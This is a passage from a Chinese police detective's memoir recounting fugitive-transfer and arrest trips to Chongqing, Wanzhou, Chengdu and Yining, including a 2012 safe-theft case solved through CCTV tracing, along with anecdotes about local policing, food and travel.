下午抵达重庆市区，我们先将人带到江北指定的医院体检，科队和刑总的人在丰都将抓获的人员也带到医院，我们在医院会合。体检完以后，由刑总一名民警穿着常服（打领带，小翻领西装制服，一般开会等正式场合才穿）驾驶警车送我们去渝中区看守所，快两个小时的路程，那名年轻的小伙子，一路跟我们讲述目前重庆市局的情况，开警车必须穿常服，如果不穿被督察抓到，轻则处分，重则处理。每每都会讲W说，W规定，W云云，等等，我一直搞不清楚W是什么意思，直到他说有民警私下讲W的坏话，被人打小报告，民警就被刑拘进看守所，市局派专案组进驻调查民警涉嫌各种违法犯罪的事情。他开始列举重庆市局奇葩怪象：督察总队从原来30余人，W来了以后规模扩充大300余人，对全局进行督察，在食堂吃饭，不能说话聊天，有督察在旁记录，如果被发现说话，等着可能是处分；驾驶警车必须三证齐全，并且穿常服，每天都有督察在各单位门口督察；进入市局，必须穿常服，不能挎包斜背包，必须手提包（两天后，我就享受了这个待遇）；保安全部穿黑西装白衬衫黑领带（我亲眼所见）；当时九龙坡分局一帮同事聚会吃饭，酒席上就发牢骚，讲W如何不好，但是不知道被谁告发，一桌人，全部被处理，生死未卜；重庆警界最忙的是督察，专门办理涉及民警的案件，不管有没有问题先当犯罪嫌疑人刑拘起来；民警家附近有涉黄场所，被查后，先将民警抓起来，说是可能涉嫌保护伞；民警没有按时破案，涉嫌玩忽职守，先抓起来；民警如果被群众投诉，被W知道了，涉事民警先关起来；简而言之，重庆警界已经进入红色恐怖时期。民警每天出门前都要向家人交代好后事，提心吊胆一天后，还能回到家就是神仙保佑；遇到命案敏感案件，内心就苍天保佑，运气好可以在W指示的时间内破案，运气不好，就看W心情了；只能内心拜神仙，还不能去庙里拜，如果被发现，就是信仰丧失，W说民警肯定有问题，民警先关起来审查。 一路唠叨，到了晚上八点才把人送进看守所。然后我们出来，我们邀民警一起吃饭，被拒绝了，这时被严令制止的，他要开车回单位，我们也没好意思继续留了。 当晚，我们住在重庆刑警总队门口的如家酒店。协议价非常便宜，100元一间房间，我们开了四间。 第二天一早起床，我看到刑总门口一辆警车停路边，三名督察正在对进入刑总的车进行检查，想起昨晚那名民警一路的话语，我的内心被深深震撼了。我去车站买票，那时还没有12306，正值春运返程高峰，半个月以后的票都卖完了。我去找乘警支队，那边告诉我，因为我们人多，已经无法安排我们上车了。让我们自己再等几天，或者想其他办法。 没有办法我们请示局里让我们买机票返回，好在当时飞回福建的机票并不紧张，来回都很多票，先由队里派两人打飞的过来接我们，凑齐最低押解警力。乘坐飞机押解犯罪嫌疑人必须三比一以上的警力，并且要经过民航公安局的审批。这不是我第一次搭乘飞机押解了，我负责去重庆市局办理相关手续。重庆刑总的兄弟，开车将我送到重庆市局门口，然后就离开了，原因是不想进去，确实不想进去。办完事情后我自己再打车回酒店。在重庆市公安局门口，一位身高马大身穿黑西装白衬衫黑领导的保安，将我拦下，很客气的要求我办理手续，看多了港片，明白人知道是来公安局，不明白了，还以为到□□集团了。办完手续，由一名保安引路带着我去办手续的部门，我斜背着的单肩挎包，被要求拎在手上，因为之前早有心理准备，我很配合的将包拎在手上。保安跟我介绍，因为我是外地警方，所以不要求我着装，正常重庆本地民警到市局，必须穿常服或者西装领带。 我们走人行道进入院内，我看到地上有步行的标线，我们几乎就是沿着线走的，而那名保安则没有跨线半步。据说民警和工作人员只能在线内走，线外是局领导层才能走的。如果不遵守，等着的有可能就是刑事拘留。正值王立军在重庆主导的扫黑行动阶段期，在重庆市局院内，停着扫黑行动中扣押的豪车，整排的路虎、奔驰、宾利，劳斯莱斯，停得非常整齐。我很喜欢车，本想去看看细节，结果被保安阻止了。有了头天晚上的铺垫，我不想多事，老老实实的跟着保安到了重庆市局政治部，按照要求，填写登记表格，办理了相关手续后直接离开，我不是第一次办理这个手续，可以说重庆的这个效率非常高。 本来还要去民航分局的手续，但是要赶去机场，太远了。重庆刑总的民警直接传真帮我们联系好了，我们走的当天提前几个小时到就可以了。当天晚上，刑总请我们吃饭，在一个大排档，吃了重庆当地特色的烤全羊，外加羊汤火锅。提前了四个小时预定，我们抵达时，刚刚烤好，差不多可以吃了。整只羊被剥皮去头，绑在一张特制的烧烤架上，整只羊已经烤成金黄色略带酱色，七八个人围坐一起，拿着小刀，割一块肉下来，用手抓着蘸一下料就往嘴里塞，羊肉有些弹性，略干，很香，肥肉部分经过四个小时的烘烤已经烤成油流走了，只剩下瘦肉。喝完酒，再喝碗羊汤入胃，羊汤火锅不辣，刷几片蔬菜和羊下水，别有风味。这是我第一次吃烤全羊，后来晋江也开过一家，不过没多久就倒闭了。我到现在就只吃过两次，现在想着那羊肉，口腔内唾液分泌旺盛。 我们吃完羊肉，前来支援的警力打飞的赶到，是我的好搭档医生和王队。 重庆一名副总队长，请我们去吃宵夜，于是开车到另一个地方，吃大排档，当时两名副支队长陪同，一直向我们抱歉，说W来了以后，一场扫黑，几乎关了全市所有的娱乐场所，晚上原来可以去KTV唱歌喝酒的，现在都没有地方去，只能在大排档喝点山城啤酒了。连续多天的所见所闻，让我五味杂陈。 理论上说，如此的高压铁腕治警，建立大量的警务站部署在街面上，重庆的治安环境应该很好才对，但是实际上投入与产出不成比例。那天办完事，我去街上逛逛，想买纪念品，却在离警务站不到一百米的地方遭遇了抢夺案，一名男子在人来人往非常热闹的街上，伸手抢夺一名大妈的金耳环后，徒步抢夺后逃离现场，我发现后迅速追上去，嫌疑人见到有人追，居然朝着警务站方向跑，穿过快速道车流，道路对面，我没敢冲，眼睁睁的看着他逃离，而几十米外的警务站民警压根就没发现我这发生的事情。我去找大妈，准备帮她报警，她居然见多不怪，不愿意报警，嫌麻烦，然后就走了，留下我在原地发呆。 重庆刑警总队派人派车送我们到了江北机场，并联系好民航公安局，办好所有手续，然后离开。我们走VIP通道过安检，享受了一回头等舱待遇。 当晚23时，飞机落地厦门机场，民航分局特意安排了一名乘警在机舱里。到站后，专用中巴车，接我们直接到了出口，出口我们的警车正在等我们。 时间过得飞快，每天忙于各种大小案件，接案、研判、抓捕、审讯，取证、移送，整个流程周而复始，还有额外的各种行动，设卡、巡逻、清查、安保、警卫。日复一日，年复一年。 时间2012年，初夏。 鞋都镇鹏头村，一鞋厂老板丁某报警称其家保险柜被盗，内有现金8万元，金首饰、玉石、紫砂壶等价值800万元。 这个警情，不仅惊动了省市县三级警方的首长，还引来了大量的各媒体记者。当时我正在执行其他任务，接到被紧急召回的电话，通知我参加临时组建的专案组，直接驾车赶赴现场。 现场位于鞋都镇鹏头村旧村河边西侧。在报案人住的民房二层。据报案人丁某描述，因自家房屋危房拆除重建，临时租住在这里，案发前一天晚上，夫妻俩都睡在自己开的鞋厂内，没回租房。报警当天上午10点半左右，他们回到租住房间，拿起钥匙开门，门却打不开，才发现已经被人从里面反锁。同时发现二楼自己的房间窗户上的防盗网被撬开，当房东弄开锁进门后发现，屋里一片狼藉，装着大量财物的保险柜不翼而飞。保险柜高约1米，里面放着丁先生多年来珍存的收藏品和各种证件。“里面有进价80多万元的和田羊脂白玉、至少 20斤重的缅甸上等翡翠、十串光绪银币、800张全版连号1962年第三套2元人民币、各式黄金首饰、一大叠借条等。”据介绍，就连结婚证、土地证、危房翻建手续和8万元现金等都在保险柜中。 据了解，丁某确实是一名有十多年收藏经历的收藏爱好者。丁某到处跟媒体介绍，保守估值至少损失在800万元以上。 我来到现场，现场勘查人员已经准备离场，现场一片狼藉，二楼上楼后，防盗门是撬开的，房间内一片狼藉，几乎所有的东西都被翻动，物品被随意乱扔，抽屉全部是开的，有几处技术员提取指纹留下的专用黑色粉尘的痕迹。窗户的防盗网是开的，从窗户到隔壁正在建设的房子脚手架，有一块木板架在中间。我爬上窗户通过木板走到隔壁的正在建的房子建筑用脚手架，从脚手架进入在建楼内，这是一栋全框架的房子，已经建到六楼，外面一圈都是脚手架，工地外面没有围墙，全开放的，还有一些建筑材料堆在路边。搭的脚手架跟被盗的房屋几乎贴在一起。就算不用那块木板，也能轻松来到窗户边，爬进被盗房间。 经询问，这栋正在建的房屋，就是失主丁某的。而那块木板则是从被盗房间内床上拆下来的。 不用技术科的同志介绍，我们一眼就能看出来，嫌疑人从工地二楼脚手架走到被盗窗户，将防盗网拆开，爬进房间，之后将房门反锁，开始翻找值钱财物，之后通过窗户上搭的木板桥，将保险柜搬走。 当时大队专职负责入室盗窃案件侦查的民警，是拆迁户，巧得很也姓丁，我们称他丁总。丁总带着一名新来的民警，在现场忙活，因为案件特别重大，专案组由重案队，鞋都中队现案组，大队专业队组成，晋江地区局刑技专家也到现场参与案件的前期研判。我们还没有什么进展的时候，新闻媒体已经在大肆报道，门户网站的头条位置都是此案。我们的压力瞬间很大，刚刚到任的局长到现场鼓励我们，不管媒体怎么炒作，被害人怎么说，这就是一起盗窃案，不要被认为干扰。刑警重事实，讲证据，早日破案，以客观事实来回应外界。 视频侦查是我一直的研究范畴，到达现场后，我们开始着手在现场附近寻找可用的视频资源。离现场不远处，发现在那栋在建楼的外面有一个08年安装的老式摄像头，正对着停车的公共位置。看了一下实时的画面，画面中可以看到很少一部分在建楼，但是正好可以看到从鹏青路那个方向现场进出的人车。根据现场环境判断，嫌疑人最有可能从这里进出。因为到现场有两条路，一条是南边到鹏青路，一条是北面，去往旧村里面，一直往北是小巷子，只能通行两轮摩托车，而且极容易迷路。搬走保险柜，正常一点都不会选择那条路。 先易后难，这是我的原则，既然现场有视频，那我们就下载所有的视频录像，回去慢慢看。拿到视频，我们几个人就分段回办公室仔细研究，同时安排人沿现场周边继续寻找有用的视频。 08年的摄像头，属于模拟信号，夜间效果极差，但是总算是有一个摄像头，位置还算理想，总比没有好。问题是由于无法确认案发时间，我们只能把天黑以后到天亮的视频全部看一遍。那个位置来往车辆行人还蛮多的。 视频录像中光线条件非常差，除了能看到车和人之外，细节无法分辨。录像放到晚上22时30分许，画面中有两个黑影抬着一个东西从建筑工地过来，走向停车场。一辆车子的双闪亮了一下，录像里那辆车只有车尾部一小部分，隐约看到那辆后备箱开了，东西被放进了后备箱，然后两人上车，车子掉头离开，往鹏青路方向去了。这辆车和人，就成了我们的头号嫌疑对象。录像往回倒放，21时23分车辆抵达现场，两人然后下车走进在建楼工地后面。当时的录像截图，画面的一部分，在媒体采访时被害人丁某时，被害人提供给了媒体。说实话，由于很多媒体工作者毫无顾忌的宣传，导致我们的工作很被动，惊动了嫌疑人，给破案造成了不小的麻烦。很多时候都是这样。我们阻止被害人丁某的这种行为，但是被害人丁某好像生怕别人不知道自己被盗的这个情况， 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我先调取了几个小时内晋江大桥所有的卡口通行车辆的照片，没有发现这辆车，也就是说该车并没有过桥去往晋江地区区，还在晋江范围内活动。但是去了哪里呢。通过追踪，一路上就只有三个路口的摄像头看到该车，在之后因为道路条件受限，原来是荒郊野外，那条路也是2011年年底才刚修通，并没有安装任何监控。去了哪里并不知道。最后一个就是鹏青路口的监控又看到。这些能看到监控也是5月份才刚刚施工完，还在试用阶段，我们在沿途的各个村口监控里寻找，一无所获。 按照视频侦查的原理和以往的经验，我们开始还原该车作案前来现场时的路线，发现车子也是从晋江大桥的方向过来，不过我们发现该车是鹏青路的尽头一路空地里出来，那里啥都没有，进一步回放录像，车子是几分钟前进去，又出来，由于探头离得比较远，隐约能看到进去的时候，车子悬挂有车牌。于是我们继续还原路线，在其中一个录像中找到该车车牌，通过查询，发现该车是一家租赁公司的。 这家租赁公司，就在青阳，和平路旁边，我们立即找到这家租赁公司，公司提供了租赁合同，合同上有租赁人和担保人的身份信息及手机号码。这两人案发前一天租的车，案发后第二天就还车。通过研判，两人就是本案嫌疑人。不过此时已经离开，位置显示，在重庆。 我和丁总、还有丁总徒弟三人，组成了追逃组，前往重庆追捕。准备好相关手续，收拾好行装，我们搭乘当晚的飞机直飞重庆。晚上住在重庆解放碑附近一家酒店。因为重庆市行动技术总队就在解放碑附近，第二天我们要去那里交案。 晚上，在来的大巴上，我们欣赏了有小香港之称的重庆夜景。此时的重庆街区又恢复了往日的灯红酒绿，走在解放碑的步行街上，到处灯光璀璨，火树银花。 第二天一早，我感觉自己还没睡醒，被催促起床吃了碗小面，然后三个人走路到离酒店不远的重庆市公安局行动技术总队。在那里我看到“苏湘渝专案组”的红色条布，当年2月在我曾接到公安部发布的专案组协查通报，嫌疑人1月在江苏抢劫杀人，通报上没有身份只有一张照片，还是监控还原的照片。后来经查实，这系列案件的犯罪嫌疑人就是著名的悍匪张克寒。不久后他在重庆再次犯案，并开枪打死两人打伤一人，抢走被害人现金。在逃跑的路上开枪打死一名铁路警察。一周后跟两名便衣民警遭遇，双方发生枪战，被击毙。那天我碰巧也在重庆。 总队受理完案件后，告诉我们可以去万州实地开展工作。我想到第一次来重庆出差时曾在那里转车。那时我都是小白一个，如今离老油条不远了。我们从解放碑出发，搭车去重庆北站旁的汽车总站，换乘前往万州的大巴。一路折腾，到下午16时许，我们抵达万州。万州区临江依山而建，也是典型的山城。我们在地图上找了个离万州区公安局近的小酒店先入住，结果发现地图上距离很近，走起来就很难受了，一路的上下台阶。上坡下坡。不到一公里的路，走得我们气喘吁吁的。 当晚，我们出门觅食，走路到江边，沿着江边有很多排挡，烧烤，烤鱼等等，大家喝着啤酒。人很多，是露天的场地，随处都是酒瓶的哐当声，以及各种叫卖。吃完晚饭我们一般都是散步回酒店。 万州区公安局就在江边，大门正对着外面的江。刑侦支队，和刑事技术支队在单独的一栋楼里，对接完工作以后，我们约当地接案的民警一起吃晚饭，晚饭照例是火锅。据他们介绍，前任W任上的的时候，对于破案要求很高，工作任务中，他们很累，需要动用很多资源破案，不管大案小案，他们几乎每天都出门抓人，那段时间，重庆的案件总体是大幅下降，街面的案件基本上就消失了，特别是经过扫黑行动之后，街面上打架的都绝迹了，所以群众是很拥护的，只是基层民警苦不堪言，承担非常大的压力下，还要大量的工作，唯一值得肯定的是，待遇普遍涨起来了。 我们的案件嫌疑人，来自当地一个盗窃保险柜犯罪高发的来源地，据介绍，那个镇的已经抓获的犯罪人员类型几乎都是盗窃保险柜，本地的此类案件的犯罪嫌疑人基本都来自那里，长期的打击，他们现在基本上都具有很强的反侦查能力。此后两天的工作，我们发现由于媒体的不断报道，嫌疑人已经被惊动，躲在山里不出来，我们无法进到山区实施抓捕，那样只会打草惊蛇，让嫌疑人逃之夭夭，再难抓到。为了确保破案，我们只能等，静静的等，耐心的等，等待一个时机，等嫌疑人犯错。我们能确定的是，嫌疑人并不知道我们的存在，只知道警察掌握了部分线索，他们不确定自己是否被我们掌握，只是觉得风声紧，就躲着。所以说我们还有机会。为了做到万无一失，我们开始伪装自己，穷尽一切能力，出门走路，打车不说去公安局，去旁边，再走路过去，从外面忙完打车回来也是，不直接回酒店，提前或者过了以后再下车，走路返回，确认没有人跟着，虽然有些小题大做，但是前期我们太被动。为了不暴露自己身份，尽量掩藏，以普通游客的名义，入住酒店，住几天就换酒店，没事不出门，呆在房间里，尽量避免过多的跟人交谈。 在酒店看电视，上网，玩游戏。整整一个星期，我们无所事事。每天做的最多的是，找地方吃饭。火锅、排挡轮流吃。正直夏季，重庆的天气，闷热。我们依然去吃火锅，配上山城啤酒。要么去排挡吃烤鱼，重庆烤鱼。 我们在第三家酒店住到了第三天，每天好吃好睡，人都长膘了，终于等来了好消息。万州警方通知我们，据可靠消息，犯罪嫌疑人要销赃，到处在找买家。近期极有可能会离开山区。我们如同打了鸡血，迅速打起精神，准备随时出发。 焦急中又等待了一天，到了晚上接到消息，嫌疑人第二天，会到某宾馆与收赃的见面。第二天，我们一早就赶万州区公安局，当地有一个派出所派出了多名警力跟我们一起，我们赶到目标所在的小宾馆，在小宾馆的门口车上和一楼安排人手，坐等嫌疑人出现，但是等了很久，迟迟没有发现嫌疑人的踪迹，我们起初怀疑是不是情报有误。我们就去翻查了一下宾馆的住宿记录，惊奇的发现，嫌疑人凌晨的时候，就已经入住。我们迅速冲上楼，在服务员的配合下，打开楼上的两个房间，将还在房间内睡觉的两名嫌疑人杨某、谢某及另一名男子（怀疑是收赃人员）抓获，同时在嫌疑人的行李中和随身的衣物中，查获部分赃物。 在当地派出所的审讯室里，出乎我的意料，两位嫌疑人很快就撩了，详细供述了整个犯罪经过。两人交代，当时租车寻找作案目标，当时窃得保险柜，便用车将保险柜运到沿海大通道某处的一处水闸的土路边，撬开后发现在搬运中因相互撞击，保险柜内一个紫砂壶和部分玉石碎裂。犯罪嫌疑人称，他们看到报纸后，才知道保险柜内的物品这么值钱，又惊又喜又后悔。打开保险柜后，他们嫌盗回来的玉石太重，不方便随身带，随手将破损玉石和许多小件的玉器，连同保险柜扔到水渠中，带着现金、金银首饰和部分玉石等赃物离开泉州，逃回重庆万州，为了躲避警方追捕，一直躲在山区，因为参与赌博将现金输得差不多了，才出来多方找寻买家欲高价套现，而他们随身携带的玉石，买家开价都很低，所以成交很少，直到十几天后被我们人赃并获。两人由于觉得案值太大，为了争取从宽处理，他们争相交待犯罪经过。 犯罪嫌疑人送羁押后。晚上我们请配合的当地警方一起吃完饭，忙活了十几天，终于得以放松一下，但是他们很热情非要他们请客，当时带队配合我们抓捕的一名派出所副所长，由他请出面，我们三个人加他们所里民警一起，吃了此次在重庆的最后一顿老火锅，味道不错。据他介绍，现在娱乐场所又重新开业，可以去唱歌喝酒了，吃完晚饭，去唱歌，他要展示重庆人热情开朗的一面。过去的几年，他们被压抑的情绪，终于得到了释放。吃完晚饭，我们打车就去了一家夜场，那家生意火爆，人非常多，在包厢里，不断有人来串场，相互之间不知道喝了多少，喝到一半，我就吐了之后，趴在沙发上睡觉，而丁总直接喝到断片，散场的时候，我基本上恢复清醒，将丁总抬回了酒店房间。 因为酒醉，第二天我们休整了一天。第三天才去移交两名嫌疑人，出发的时候，我们只带了手铐，采取的时候老办法，临时去五金店买来铁质狗链和挂锁，将两人同侧脚用链子锁了起来。出门的时候只有三名民警，当时在重庆市区还有两名执行追逃任务的民警，领导要求他们一起押解，所以没再安排支援警力过来，但是重庆的这两位，他们找了各种理由，拒绝跟我们一起押解人员回去，这种属于猪队友的我一直鄙视，至今无法忘怀，还好没跟他们一起出过任务。 林子大了，什么鸟都有。无奈之下，我们三人决定押送两人回去。归程将是一段风险极高的旅程。从万州乘大巴抵达重庆北站，再换乘那趟重庆北到厦门的列车。我去找铁路乘警支队帮忙，买到了车票，听说我们只有三名民警要押送两人回去，乘警支队安排随车民警跟我们一起。一路上两名嫌疑人没有什么异常，我们采取的内紧外松的方式，虽然内心很紧张，但是表现出很轻松的样子。下午发车，上车第三天早上7点抵达厦门站。上了来接站的面包车，我们悬着的心，才稍微放了下来 。 案件的后续有我继续办理。辨认现场的时候，那名事主丁某开着车悄悄跟着我们，在嫌疑人指认的地点找到了被撬的保险柜，但是没有发现其他物品。后来扣押的物品拿去珠宝鉴定，玉石大部分为赝品，或者人造的物品，除了几个价值不高的意外，追回的赃物，价值最高的是金首饰，之前号称非常高的玉石，价值仅为几百元。此外，两名嫌疑人都只承认保险柜内现金是四万元，而不是被害人丁某报案时声称的八万元。当我把鉴定结论告知犯罪嫌疑人杨某、谢某的时候，两人都在偷笑。只有被害人丁某一人在喊冤，至于冤不冤，只有他知道。 对于重庆这座城市来说，老博、W的故事还会被不断被提起，虽然他们留下的痕迹，已经被淹没在历史的长河之中，如同电影里《重庆森林》表达的那样，世事难料，人生无常。对于我来说，重庆就在那里，承载了我的特殊记忆。 22.第 22 章 六、天府之国 成都，别称蓉城、锦城，简称蓉，是四川省省会，西南地区唯一一个副省级城市，国家重要的高新技术产业基地、商贸物流中心和综合交通枢纽，地处川西盆地，河网纵横、物产丰富，自古享有“天府之国”的美誉，是国家历史文化名城，中国十大古都之一。 成都位于四川省中部，四川盆地西部，东北与德阳、东南与资阳毗邻，南面与眉山相连，西南与雅安、西北与阿坝州接壤。拥有都江堰、武侯祠、杜甫草堂、金沙遗址等名胜古迹，是中国最佳旅游城市。 出差四川，每次都选择飞成都再转车，所以每次都是路过。2016年年底，运哥经过长期追踪研判，发现了一名在逃的命案逃犯的轨迹，可能在成都，整个大队都忙于其他工作，只有我有空，于是我们就临时组成追逃组前往成都追捕。 运哥，河北人，90年代毕业于中国刑警学院，毕业后进入晋江刑警队工作，此后成为刑侦系统有名的追逃专家，多名公安部A,B级逃犯都是在他手上落网，他已经记不清自己抓过多少逃犯了。由于知名度极高，在全国的圈子内一呼百应，跟着他出差，日子很舒服，走到哪里都有人热情接待。 这是我在晋江刑侦工作最后一次飞去成都，很幸运能跟运哥一起出门，即是第一次，也是最后一次。当天飞机晚点，抵达成都双流机场的时候，已经是黄昏，下飞机时我回头看向远处，离我们较近的停机坪有一架顺丰快递的货机；再后面是两家埃及空军涂装的运输机，跑道尽头的天空是当天最后一抹晚霞。出机场，搭乘大巴进入市区，下车后我们打车直接到了市区一家老火锅店。运哥在圈内的名气很响，出发时，已经联系了四川省公安厅刑侦总队技术处一名校友，枪械武器痕迹检验专家，此时他已经在火锅店等我们，点好了菜。我还是比较喜欢吃火锅的，红红火火的，自己动手，吃起来过瘾，一年四季我都吃，因为第二天都有任务，我们便随意喝了点啤酒。吃完送我们去了一家酒店。 第二天吃完早餐，外面下着小雨，我们出发前往逃犯可能藏身的地点，双流机场后的工业区。云哥已经提前通知当地的警力在那里等我们了。出门时，已经约好了的一辆车，早已等候我们已久，直接送我们到抵达了那个位置附近。 那一片没有高楼，由一大片工厂厂房组成，进出只有几个路口。隔着一条马路，是一个很大的小区，龙桥小区，这个小区，四通八达，清一色整齐的联排建筑，大多是楼下店铺，楼上住人的建筑结构，根据之前掌握的信息，嫌疑人在龙桥小区也出现过，而且是自己生产制作，并卖拖鞋棉鞋为生。当地确实有很多做鞋的店铺式的作坊。 与当地警方一起，我们分成了三组，开始对龙桥小区开展地毯式式的走访排查，我们信步游庭，在龙桥小区的每一条街道上走，观察每一家店铺，如果有发现鞋类作坊，便进入店内查看。龙桥小区非常大，我们三组人，走完所有的店铺，花了快三个小时。一无所获。由于逃犯，逃了很久，没有使用本人任何身份信息，我们只能靠一张十几年前的照片来比对排查。 所处的位置区域又比较特殊，是一个人员流动比较频繁的地方。为了不打草惊蛇，所有的排查工作只能悄悄进行。已经到了中午1时许，龙桥小区已经排查完了。现在就剩下马路对面靠近机场围墙的那片工业区区域。大家肚子也饿了，于是选择在龙桥小区先吃午饭，龙桥小区由于人员众多，吃饭的饭店也非常多，我们找了家餐馆，匆匆吃完饭，开始去对面的工业区域排查。 工业区跟小区不一样，大部分由厂房组成，有临街的，也有院落的，结构负责，有些建筑物不是很好进去。当地警方开车转了一圈，没有什么发现。我们则将车停在路边，走路进去。我走路经过一处拐角时，发现有两排临街店面，因为工业区人员少，所以大部分的店门都是关着的，但还是有几家开着的，我缓步走过去，有一家店铺门口摆了一些拖鞋，这引起了我的注意，我拿起手机，开启了视频拍摄，假装打电话，慢慢走过去，我眼睛朝里面看了一下，里面缝纫机前坐着一名系着围裙的男子，他抬头眼睛与我对视了一眼，他的眼神如此的熟悉，警觉中略带胆怯，此前十年，我无数见过这样的眼神，这是对的眼神，他就是我要找的人。我绕到路口，迅速通知其他警力过来，我们快步冲进店内，将那名男子控制，他有些惊慌，运哥直接喊出他的名字，他低下了头，铐上手铐，搜身，腰上藏了一把小折叠刀。 逃犯没再挣扎，案件过去了18年，该来的终于来了。他提出了一个要求，逃亡的18年里，他东躲西藏，娶妻生了一个女儿，这几年在网上开店卖棉拖鞋，自己做自己买，生活过得还可以。这次被抓，他也意识到可能再出不来了，因为女儿未成年，当时正在店面的二楼，他叫女儿下来，吩咐女儿去找亲戚。 我们将人押上车，直接去了眉山市。原来配合我们抓捕的是运哥请来的眉山警方，逃犯也是眉山人。一路上我们审问逃犯，逃犯很痛快，如实供述整个犯罪经过。眉山到成都高速不到一个小时的车程，到了以后，办完手续，逃犯直接送进眉山当地的看守所。 在看守所等候办理的时候，运哥问我有没有去过新疆，我说没有，他告诉我，在新疆还有一名命案逃犯，问我愿不愿去，我当然同意。运哥马上就打电话订机票，第二天从成都飞伊宁。 办完手续，已经下午了，我们被当地警方接到眉山当地一家火锅店，眉山市公安局刑侦支队的副支队长专门过来请我们吃火锅，运哥的影响力无处不在，四川和重庆一样，每天必吃一顿火锅。吃完火锅，我们连夜打车回到双流，住在机场生活区一家酒店。 第二天，因为打不到车，徒步走路，从地图上看很近的路，不到两公里，结果却走了近一个小时，才走到候机楼。好在时间充裕，我们一路晃悠悠的。 （去往双流机场的人行道随拍） 成都飞伊宁，需要四个半小时。我坐在窗边，祖国广袤的大地，高山大川，一路向北飞，绿色渐渐消失，取而代之的是暗红色，之后山上开始出现积雪，到最后整个山脉全是积雪，从祖国的西南到最西北，从高空的视角俯瞰大地，一路风景独特，美不胜收，让你感叹祖国的博大。一路上我没有丝毫担忧将要面对时什么。 下午18时许，飞机准点降落在伊宁机场。 七、醉美新疆 伊宁市位于祖国新疆的西北边陲，地处伊犁河谷盆地中央，伊犁哈萨克自治州的首府，也是国家历史文化名城。伊犁哈萨克自治州有塞外江南的美誉。伊犁物产丰富，不仅有牛羊马肉，还盛产水果香甜，还有全国最大的薰衣草田；景色优美，有著名的那拉提草原、巩乃斯大草原等，冰川融化形成的著名的伊犁河流经全境，还有高山深谷果子沟，更有高原明珠：赛里木湖。从实景地图上看，只有伊犁河谷地区是绿色的，伊犁河谷被高山包围着，高山外面只剩下黄色，那是荒漠的痕迹。在空中俯视新疆的大地，才知道新疆是多么的地域宽广。 伊宁机场并不大，还没有晋江的大，客流也不多，但是新疆特殊的地理环境，新疆实在太大，人们在新疆自治区内出行大家都会选择搭乘飞机，所以机场建设以多，实用为前提，新疆所有的地级市都有飞机场。我们飞机客舱内就有要转机飞往塔城的乘客。 在机场出口外，杨哥已经在等我们了，杨哥是当地人，汉族，时任铁路伊宁所的副所长，分管刑侦和追逃工作。年轻有为，身材微胖，圆脸，大眼睛，总是面带微笑，不紧不慢，说话温柔，跟我想象中的西北汉子完全不一样。 杨哥非常客气，亲自开车来接，其实和运哥也是第一次见，只不过在网上神交已久。之前关于逃犯的前期工作，也是他在帮忙做。我们被送到当地一家酒店开好房间。这是杨哥定点的协议酒店。虽然地处北疆，局势相对平稳，但是进入酒店后，我就能感受不一样的新疆，酒店的大门有专门的保安守卫，放着盾牌头盔长棍等器材，进门后是一个安检门，还有专门用于检查行李的X光机。据说这是新疆的标配。酒店内，随处可见的是维语和汉语的反恐标语。第一次在酒店前台看到了北京时间和乌鲁木齐时间放在一起。 将行李放下后。我们一起到了不远处的伊宁火车站，所里执勤点，接上所里下班的兄弟，一起去吃晚饭。到了一家居民家中的特色饭馆，一上菜才知道是羊八件，这是当地招待贵客的菜，我有种受宠若惊的感觉。一个羊八件的盘子直径超过50公分，还有完整的羊头摆在中间，整个盘子都是羊的肉和内脏，堆得跟小山似的。还有伊犁特产的马肉，牛肉，一桌子肉食，之前在朋友圈曾看到一句话：每到新疆胖十斤。现在看来我觉得都是保守的。酒是每人一瓶半斤装当地的伊力特曲，这是基本任务，喝完还有其他的。这是我人生第一次体验被肉食包围，胃不够用。 酒足肉饱，那半斤伊力特曲，已经让我手脚松软，天地不分，没来得及详细品味各种肉食的美味，已经昏昏欲睡。被拉到当地的KTV继续喝啤酒，于是妥妥在卫生间吐了两次。虽然是寒冬，但是新疆的热情足以将你暖化，来新疆的第一天就这么醉过去了。 北京时间凌晨1时许，东倒西歪的几个人，搭车陆续返回，我们的车辆经过路口时，警务站的闪烁的警灯，透过车窗，照进车内，我使劲睁开眼睛，警务站内多名穿着作战制服的人影来回走动。我差点忘了自己现在身在新疆。 一觉醒来，已经是北京时间上午八点半，我摸索着爬起来喝水，我还不习惯睡在暖气房内，很干渴。我看看窗外，天还没亮。决定出去跑步，室外在零下五度左右，我带的衣服不知道能否支撑外面的严寒，我在酒店大厅内热身，全身微微发汗，这才敢出门，刚一出门，瞬间能感到全身的毛孔在收缩。借助路灯，我辨认了一下方向，我计划绕住的酒店外围跑一圈。地非常硬，每跑一步，能听到脚下冰碎掉的声音，运气不错，当天没有什么风。道路很宽阔，双向六车道，还有宽宽的人行道，但是部分路灯已经关闭，我能猜到，这时是黎明前最黑的时候，最醒目的是几百米外警务站闪烁的警灯，警务站自建好以后，警灯从未关过。 路上偶尔有车经过，一辆五菱宏光的警车在两个警务站之间来回巡逻。与此同时，偶尔还有车身喷有武装巡逻的武警车牌车辆从身边经过。天气太冷，我无法停下脚步，地很硬，为了保护自己的脚踝和膝盖，我不敢跑快，只能保持匀速慢跑，感觉呼吸空气都是冰冷的，脸上冷的有些生疼，绕着酒店外围的公路跑了一圈，里程刚好五公里多一点，我回到酒店大厅，刚刚进门，就好像进入了桑拿房，全身的汗一瞬间就出来了。 洗完澡，运哥才醒，我们在一楼吃碗拉面，然后出门前往杨哥所在的铁路伊宁所。我们在路边拦了一辆出租车，到了我们才知道，其实并不远，还不到两公里，相对于当地宽广的大地来说，真的很近。到所门口，我们才真正体会新疆的不容易，派出所院子，墙修得很高，围墙的最上方是铁丝网。进入派出所院子是一个厚厚的防弹的黑色钢制大门，大门外还有防冲撞的路障。按了门铃，打电话，才给开的门。穿过院子，才是派出所办公楼，办公楼大门是两道防盗门，如果去过看守的同志就能了解，两道铁门，先开第一道大门，进去后，关上第一道门，再开第二道门，这才能进入办公楼。不仅如此，楼梯的每层都有一道防盗门，可以说层层把守。派出所内，也都是反恐的标语，还有提醒语录，甚至男厕所小便池上方也贴着提醒的标语，“绝不能掉以轻心，危险就在你身后”，第一次小便时看到这个标语的时候，慎得慌，差点没把尿憋回去。 在杨哥的办公室内，我看到了一张单人床，所里人多，住宿也都是因地制宜。我们详细聊了一下我们追捕的逃犯前期的研判情况，请他们帮忙做后续的工作。 